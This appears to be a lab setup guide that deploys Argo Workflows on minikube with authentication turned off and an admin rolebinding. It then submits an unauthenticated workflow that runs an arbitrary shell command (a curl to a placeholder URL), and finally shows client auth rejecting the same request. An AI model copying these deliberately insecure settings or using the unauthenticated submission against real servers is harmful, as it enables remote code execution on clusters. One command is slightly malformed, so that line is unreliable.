- k8s with minikube: https://minikube.sigs.k8s.io/docs/start/ (we can use original k8s but this is an easy solution)
- please don't forget to add
alias kubectl="minikube kubectl --"to your shell environment.
The version that we tested is v3.5.5. You can find the other versions here and change the VERSION variable accordingly.
kubectl create namespace argo
$VERSION=v3.5.5
kubectl apply -n argo -f https://github.com/argoproj/argo-workflows/releases/download/$VERSION/install.yamlkubectl patch deployment argo-server --namespace argo --type='json' -p='[{"op": "replace", "path": "/spec/template/spec/containers/0/args", "value": ["server","--auth-mode=server"]}]'kubectl create rolebinding argo-default-admin --clusterrole=admin --serviceaccount=argo:default -n argokubectl -n argo port-forward deployment/argo-server 2746:2746Replace PAYLOAD with your payload and escape the " as it is a json value.
curl 'https://127.0.0.1:2746/api/v1/workflows/default' \
-H 'Content-Type: application/json' \
--data-raw '{"workflow":{"apiVersion":"argoproj.io/v1alpha1","kind":"Workflow","metadata":{"name":"","generateName":"scripts-"},"spec":{"destination":{"name":"","namespace":"","server":""},"source":{"path":"","repoURL":"","targetRevision":"HEAD"},"project":"","entrypoint":"aaaaaa","templates":[{"name":"aaaaaa","script":{"image":"curlimages/curl:7.78.0","command":["sh"],"source":"curl URL"}}]}}}' \
--insecureafter setting up a vulnerable version, change the authentication mode to client.
kubectl patch deployment argo-server --namespace argo --type='json' -p='[{"op": "replace", "path": "/spec/template/spec/containers/0/args", "value": ["server","--auth-mode=client"]}]'kubectl -n argo port-forward deployment/argo-server 2746:2746curl 'https://127.0.0.1:2746/api/v1/workflows/default' \
-H 'Content-Type: application/json' \
--data-raw '{"workflow":{"apiVersion":"argoproj.io/v1alpha1","kind":"Workflow","metadata":{"name":"","generateName":"scripts-"},"spec":{"destination":{"name":"","namespace":"","server":""},"source":{"path":"","repoURL":"","targetRevision":"HEAD"},"project":"","entrypoint":"aaaaaa","templates":[{"name":"aaaaaa","script":{"image":"curlimages/curl:7.78.0","command":["sh"],"source":"curl URL}}]}}}' \
--insecureIt will respond with {"code":16,"message":"token not valid. see https://argo-workflows.readthedocs.io/en/release-3.5/faq/"}, proving that the authentication layer is active.
Ref: mostly from https://spacelift.io/blog/argo-workflows and https://argo-workflows.readthedocs.io/en/stable/argo-server-auth-mode/